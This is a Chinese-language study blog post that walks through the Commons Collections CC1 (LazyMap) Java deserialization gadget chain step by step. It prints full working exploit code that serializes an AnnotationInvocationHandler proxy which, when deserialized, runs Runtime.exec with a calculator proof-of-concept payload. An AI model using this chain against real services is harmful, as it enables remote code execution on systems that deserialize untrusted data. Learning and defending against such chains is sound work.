参考链接
https://y0n3er.github.io/undefined/36068.html
https://www.bilibili.com/video/BV1yP4y1p7N7/
攻击链分析
这里直接用ysoserial上的链子,和TransformedMap对比一下
可以看到,把TransformedMap改成LazyMap了,然后两个AnnotationInvacationHandler
下面分析一下gadget链子:
- InvokerTransformer.transform()能够执行命令
- LazyMap.get()能够调用xxx.transform(),xxx对象可控
- AnnotationInvocationHandler.invoke()调用了xxx.get(),xxx对象可控
- AnnotationInvocationHandler.readObject()调用了xxx.entrySet(),xxx可控制为代理对象
编写EXP
前面和TransformedMap一样,这里直接从LazyMap开始。
LazyMap.get()
get()里调用了transform(key),用了ConstantTransformer辅助类,就不用管这个key参数
map和factory都是可以控制的,factory要传那个chainedTransformer对象,map绕绕if判断就好
尝试构造EXP:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get("Jasper");
AnnotationInvocationHandler.invoke()
这个invoke()实际上就是动态代理用的,创建代理对象语句Proxy.newProxyInstance()的参数里如果传了这个AnnotationInvocationHandler的对象,创建出来的代理对象不管调什么方法都会走进invoke()方法。
memberValues也是可控的,这里要传LazyMap的对象lazymap
AnnotationInvocationHandler.readObject()
这里其实不一定要这个类,只要找到能控制传一个代理对象.方法()的类就行
上面知道这个memberValues是可控的,这里的我们传lazyMap对象的代理对象lazyMapProxy
lazyMapProxy.entrySet()就会走进上面的invoke()
最终EXP
public class TestCC1 {
public static void main(String[] args) throws Exception{
//CC1-TransformedMap
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
// };
// Transformer chainedTransformer = new ChainedTransformer(transformers);
//
// HashMap<Object,Object> hashMap = new HashMap<>();
// hashMap.put("value","Jasper");
// Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
// Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
// aihConstructor.setAccessible(true);
// Object o = aihConstructor.newInstance(Target.class,transformedMap);
// serialize(o);
// unserialize();
//CC1-LazyMap
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstuctor.setAccessible(true);
InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);
InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
serialize(aih2);
unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
System.out.println("序列化完成...");
}
public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();
System.out.println("反序列化完成...");
}
}
小结
经过之前跟的链子,这条跟起来十分轻松,主要是学习动态代理花了不少时间,基础有点差。
标签:InvokerTransformer,LazyMap,Object,CC1,Class,new,class From: https://www.cnblogs.com/sketchpl4ne/p/17615670.html